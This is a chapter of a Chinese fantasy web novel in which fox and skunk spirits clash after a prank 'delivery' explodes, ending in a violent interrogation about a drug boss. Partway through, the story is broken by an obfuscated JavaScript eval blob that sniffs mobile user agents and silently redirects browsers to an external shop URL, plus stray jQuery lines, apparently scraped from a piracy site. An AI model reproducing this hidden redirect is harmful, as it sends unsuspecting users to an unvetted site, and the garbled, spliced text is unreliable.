在没有任务且不必要的情况下,三人几乎不外出。
吃喝基本是靠着外卖,偶尔丁洋也会来送一些半成品食物,用微波炉加热一下就能吃的那种。
这天中午,突然有人敲门,李知返从猫眼往外瞅,见外面站了个外卖员。
她把门打开,对方热情递上手里的东西:“您好女士,您的外卖。”
李知返:“我没定外卖,你走错了。”
说着就要关门。
外卖员连忙伸手去挡,为难的道:“可是我手机显示订单的地址就是这里,会不会是你朋友给定的?”
“美女,你帮忙问问呢?我们送不到要有惩罚的,麻烦你了。”
于是李知返转头喊道:“大仙,小王,你俩谁定外卖了?”
但得到的都是否定回答。
“难道是小白逐定的?”
她一边这样想着,伸出手:“我看看上面有没有备注......”
话音未落,外卖小哥突然把外卖砸了过来,随着砰的一声巨响,外卖盒爆炸了。
狐大仙和王最在第一时间冲了出来,但屋内已经被白色烟雾笼罩,等他们追出去,两人早已不见踪影。
胡丽丽冷脸:“找物业查监控,我倒要看看谁敢这么嚣张,光天化日上门绑人。”
王最言简意赅:“我去追。”
他单手起势正欲腾空御剑,电梯门叮的一声打开,李知返从里面走出来。
她看着两人,愣了一下,悻悻道:“没追上,让他给跑了。”
“......”
“是个妖修,本来快要追上了,他突然放了好臭一个屁,差点把我熏瞎了。”
“什么物种会放这么臭的屁,大仙,不会是你本家吧?”
“胡说八道!”
狐大仙美目圆睁:“乱放屁那是臭鼬和黄鼠狼!狐狸才不会这么没素质!”
李知返纳闷道:“这年头做妖修门槛这么低吗?而且臭鼬这个物种灵智应该很低吧?”
她低头闻一闻自己的衣袖,差点呕出来。
“不行了,我得先去洗个澡。”
那臭味实在太可怕,她洗了三次才勉强把味道去掉,衣服更是直接丢进了垃圾桶。
三人在书房召开临时会议。
胡丽丽一脸严肃:“此事绝非偶然,说不定许文已经怀疑到我们头上,因此才派人来试探,既然已经暴露了,不如主动出击,打他个措手不及!”
李知返:“咱们深居简出,几乎都没出去过,这完全没有道理啊。”
她看向王最:“王小哥,谈谈你的看法呢?”
王最:“我找到这个人了。”
“?”
他把电脑转过来,屏幕上是一个叫做恶魔山羊的社交账号。
“这人是外网上一个小有名气的网红,会定期上传一些恶搞视频博取粉丝关注,冒充外卖员是他惯用的套路。”
他点开最新的视频,画面里,一个身穿外卖服,戴着头盔口罩只露出眼睛的男人,把拍摄设备立在楼梯上,到一户人家敲门。
开门的是个年轻女孩,她很疑惑的说自己没有点外卖。
但外卖员却不由分说把餐盒塞进她手里:“可能是你的追求者或者朋友给你点的吧,我下一单快要超时了,要赶时间。”
女孩哎了一声,但外卖员已经走了,她只好把外卖拿进屋子。
不多会儿,屋内传来爆炸声,伴随着女孩的惨叫。
外卖盒内大概也有小型拍摄设备,因为上传的还有另外视角——女孩被崩洒的热汤浇了满头满脸,脸上脖子上全是烫伤,蜷缩着在地上打滚。
评论区一片幸灾乐祸的嘲笑声。
“活该,谁让她这么爱占便宜,不是自己的外卖还敢要。”
“这女的拿外卖穿这么少,想勾引谁啊?烫烂她的脸!”
李知返仔细端详:“应该就是这个人。身形和动作很像。”
胡丽丽气道:“这个人简直神经病!我去砍了他!”
且不说找到他们门上是凑巧还是预谋,单这个时间点来添乱,就让人不能忍。
李知返:“消消气消消气。”
她看向王最:“王小哥,方便把他的账号截个图发给我吗?”
......
夜晚。
天空淅淅沥沥下着小雨,虽说德海市不分四季,但今夜却多少有些凉意。
恶魔山羊正在直播。
他缩在酒吧外面的条纹遮阳伞下,有一搭没一搭的和观众互动,内容东一嘴西一嘴,时不时还分享一些自己的‘经验’。
比如说,独居女性真的很好分辨,即使她们在门外放上成年男人的旧拖鞋,阳台上挂了男式内裤,把账号头像换成凶神恶煞的中年男人,也能一眼看穿。
“这类女的都差不多,年纪小,外地人,本地没有亲人没有朋友,害怕报复不敢报警,没有严重的伤害情节,警察也是和稀泥,随便搞。”
直播间一片捧场的彩虹屁。
身后的椅子被拉开,有个年轻女人坐了下来。
他回头看看,没怎么在意。
这家小酒吧全天营业,生意虽然算不上好,但也还凑活,时不时会有些晚归的小年轻光顾。
但直播间的弹幕突然刷起来——‘羊哥,那个女人好像在看你。’
恶魔山羊有些意外,他回头看过去,那女人单手支着脑袋,眼神正看过来。
见他回头,对方歪头笑了下,似乎是打了个招呼。
灯光掩映下,她的面容其实看不太清,但那双眼睛却是直勾勾的。
直播间里一片‘给她个教训’之类的弹幕,但不知为何,恶魔山羊却有种被锁定的、在劫难逃的感觉。
像是食草动物被高阶猛兽注视时,完全无法反抗的等级压制。
他匆匆结束了直播,压了一张纸币在玻璃杯下,拿起伞起身准备离开。
“成昊。”
一个懒洋洋的声音在身后响起。
男人微愣,但没有回头,而是直接走进了雨幕里。
“成昊,站住。”
男人脚步更快了。
出于妖修的动物系直觉,这个女人来者不善。
“我说,站住。”
这一次,渗着寒意的声音贴着耳朵响起,近在咫尺,如恶魔低语。
成昊汗毛炸起。
紧接着,一股大力踹上膝窝,成昊闷哼一声跪倒在地,又一脚踩在背上,他的鼻梁和地面来了个亲密接触,咸咸热热的液体从鼻腔里涌出来。
危机感上涌,他本能气沉丹田,就听那女声冷声警告:“——你如果敢放屁,我会用这把叉子捅进你的屁股,再从你的嘴巴穿出来。”
成昊用眼角余光看见,那是一柄用来固定大号遮阳棚的钢叉。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388113|137817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“......”
他身子一软,换了副姿态:“美女,你是不是找错人了?我不认识你啊。”
“记性真差。”
李知返贴心道:“还好我这个人天生热心,这就帮你回忆回忆。”
她攥着成昊头发,将人从地上拖起,然后往墙上砸去。
一下,两下,三下...成昊头晕眼花视线模糊,鲜血顺着额头往下淌。
他知道今天是碰上硬茬子了,不敢再油嘴滑舌,连忙讨饶:“饶命,我知道错了,我真的知道错了。”
“想起我是谁了?”
“想,想起来了,您是中午那位。”
“哎,对了。”
李知返一脚将成昊踹墙根去,扒了他的帽子和口罩,蹲下身子仔细打量:“我说呢,包的这么严实,原来长这样。”
成昊大概三十岁上下,瘦削中等的身材,乍一看上去就是个普通人,但他的面部的下半截却赫然是动物的样子,嘴巴突出,长满了黑白色的毛。
“还真是臭鼬啊...你们这个种族修出人形有多难不用我说吧?不好好修行,一门心思全用在歪门邪道上,脑子呢?”
成昊瑟缩赔笑:“大仙,我是第一次,以后再也不敢了,冒犯到您头上是我有眼无珠,您大人不记小人过。”
李知返:“如果真是头一次,那我肯定就放你一马了。”
“两个月前,有个被你捉弄的女生,因为烫伤毁容,失去了好不容易得来的工作,得了抑郁症,自杀未遂。”
“半年前,你把一只活老鼠藏进了一个舞蹈老师的背包,吓得她失足跌下楼梯摔断了腿,再也不能跳舞。”
她的神情带了几分怜悯:“你没有以后了,小臭鼬。”
成昊在那冰冷的目光里浑身哆嗦起来。
此刻他终于意识到,这个女人是来杀他的,而且她的确做的到。
“不、不...我可以补偿!我有钱!我可以赔钱!我给她家里人买车!买房子!”
“我没有想害她!我只是恶作剧而已!”
“你不能杀我,你杀了我,许文不会放过你的!他是德海市的老大!他会给我报仇的!”
“老大?你自己说这话的时候,不觉得可笑吗?”
李知返嗤笑一声,她蹲下身子,紧紧盯着成昊的眼睛:“想让我放过你,那就拿出有用的信息交换。”
“你说你是许文的手下,刚好我对他这个人蛮感兴趣...我只给你一次机会,能不能把握住,就看你自己了。”
“......”
仅思考了几秒钟,成昊一咬牙:“许文贩毒,我是他手下的直接联络人之一,其他下线都从我们手里拿货。”
李知返挑眉:“证据呢?”
成昊:“没有证据,他很谨慎,每次见面都要在他的地盘,安检搜身一样不少,我们没有他的联系方式,都是他单线联系派人来接,货也是那时候交在我们手上的。”
李知返:“没有证据,我怎么知道你不是编的?”
成昊欲哭无泪:“我哪里敢编?”
虽然把这件事说出去许文一样不会放过他,但许文毕竟只是个普通人,大不了他化作原型回深山里躲个几十年,反正妖修的寿命长,把许文熬死了也不是不可能。
但眼下要是说假话,可就真没命了。
孰轻孰重,他还是分得清的。